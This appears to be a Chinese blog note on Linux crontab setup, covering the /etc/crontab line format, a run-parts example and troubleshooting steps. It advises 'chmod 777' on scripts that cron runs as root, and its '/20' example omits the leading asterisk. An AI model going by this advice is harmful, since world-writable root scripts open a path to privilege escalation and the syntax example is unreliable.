學習是提高測試用例設計的能力,理論知識不可少,實際項目中更要注意容易疏忽路徑。以后需要提高自己有兩方面:一、測試理論的學習;二、編寫文檔的能力加強。今天的總結就到這。
文件路徑: /etc/crontab
文件格式:
PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root HOME=/ # For details see man 4 crontabs # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * command to be executed 29 * * * * root run-parts /testcron >> /testcront |
上面的東西基本不用管。只需要把需要執行的腳本加到最后一行。格式
[html] view plaincopy
mm hh dd mm we user run-parts /dir
開始時時間,之后是執行腳本時使用的用戶身份和執行的命令??淳W上說的用戶可以省略,但是試了試貌似不行。具體的還要再看看。
第一個字段mm表示分鐘,第二個字段hh表示小時。之后分別是天 月 星期 用戶 run-parts 目錄名 。時間選項支持正則表達式。特殊的 /n 代表每n個時間單位執行一次。
eg.1
/20 3 * * * root run-parts /testcron>>testcront ;每天的3點,隔20分鐘執行一次/testcron目錄下的所有可執行腳本。即3:00,3:20,3:40分別執行。
無法執行時的解決思路
1.查看腳本是否正確。 就是直接在命令行運行腳本。
2.檢查crontab配置文件,時間格式是否正確,有沒有多項或者少項
3.重啟crond服務
service crond restart
4.檢查腳本權限,是否具有可執行權限。如果沒有,賦給他可執行權限。
ls -l filename
chmod 777 filename
5.如果以上都確定沒有問題,就要考慮下是不是環境變量的問題了??聪聅hell腳本中有哪些命令,特別是類似
java,gcc之類的。導入需要的環境變量或者用絕對路徑來描述。